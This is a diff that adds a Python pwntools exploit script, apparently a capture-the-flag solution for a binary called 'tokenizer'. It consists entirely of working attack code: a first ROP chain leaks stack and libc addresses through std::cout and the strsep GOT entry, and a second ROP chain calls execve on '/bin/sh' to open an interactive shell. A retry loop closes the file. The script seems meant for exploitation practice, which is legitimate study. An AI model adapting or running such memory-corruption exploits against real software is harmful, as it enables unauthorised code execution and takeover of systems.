|
| 1 | +#!/usr/bin/env python |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | + |
| 4 | +from pwn import * |
| 5 | +from time import sleep |
| 6 | +context.log_level = "critical" |
| 7 | +context.binary = "./tokenizer" |
| 8 | +elf = context.binary |
| 9 | +libc = elf.libc |
| 10 | + |
| 11 | +def DEBUG(): |
| 12 | + gdb.attach(io, ''' |
| 13 | + b *0x4012B3 |
| 14 | + b *0x40125E |
| 15 | + c |
| 16 | + ''') |
| 17 | + sleep(0.5) |
| 18 | + |
| 19 | + |
| 20 | +io = process("./tokenizer") |
| 21 | + |
| 22 | +key = 0xf0 |
| 23 | +rop = flat( |
| 24 | + 0x000000000040149b, # pop rdi; ret; |
| 25 | + 0x404020, # std::cout |
| 26 | + 0x0000000000401499, # pop rsi; pop r15; ret; |
| 27 | + elf.got['strsep'], |
| 28 | + 0, |
| 29 | + 0x401080, # std::basic_ostream |
| 30 | + 0x4010F0 + 2 # _start |
| 31 | + ) |
| 32 | +payload = fit({ |
| 33 | + 0x338: rop |
| 34 | + }, filler = 'x', length = 0x400).replace('\x00', chr(key)) |
| 35 | + |
| 36 | +io.sendlineafter(": ", payload) |
| 37 | +stack = u64(io.recvuntil("\x7f")[-6: ] + '0円0円') |
| 38 | +print("[+] stack @ {:#x}".format(stack)) |
| 39 | + |
| 40 | +# assert stack & 0xff == key |
| 41 | + |
| 42 | +io.sendlineafter(": ", p8(key)) |
| 43 | +io.recvuntil("\x7f") |
| 44 | +libc.address = u64(io.recvuntil("\x7f")[-6: ] + '0円0円') - libc.sym['strsep'] |
| 45 | +print("[+] libc @ {:#x}".format(libc.address)) |
| 46 | +# assert libc.address & 0xfff == 0x000 |
| 47 | + |
| 48 | +key = 0x60 |
| 49 | +rop = flat( |
| 50 | + 0x000000000040149b, # pop rdi; ret; |
| 51 | + next(libc.search("/bin/sh")), |
| 52 | + libc.address + 0x00000000001306d9, # pop rdx; pop rsi; ret; |
| 53 | + 0, |
| 54 | + 0, |
| 55 | + libc.sym['execve'] |
| 56 | + ) |
| 57 | +payload = fit({ |
| 58 | + 0x3c8: rop |
| 59 | + }, filler = 'x', length = 0x400).replace('\x00', chr(key)) |
| 60 | + |
| 61 | +# io.sendlineafter(": ", cyclic(0x400, n = 8)) |
| 62 | +# DEBUG() |
| 63 | +io.sendlineafter(": ", payload) |
| 64 | +io.recvuntil("\x7f") |
| 65 | +io.recvuntil("\x7f") |
| 66 | +stack = u64(io.recvuntil("\x7f")[-6: ] + '0円0円') |
| 67 | +print("[+] stack @ {:#x}".format(stack)) |
| 68 | + |
| 69 | +# assert stack & 0xff == key |
| 70 | + |
| 71 | +io.sendlineafter(": ", p8(key)) |
| 72 | +io.recv() |
| 73 | + |
| 74 | +io.interactive() |
| 75 | +''' |
| 76 | +$ for i in $(seq 1 20); do python solve.py; done |
| 77 | +''' |
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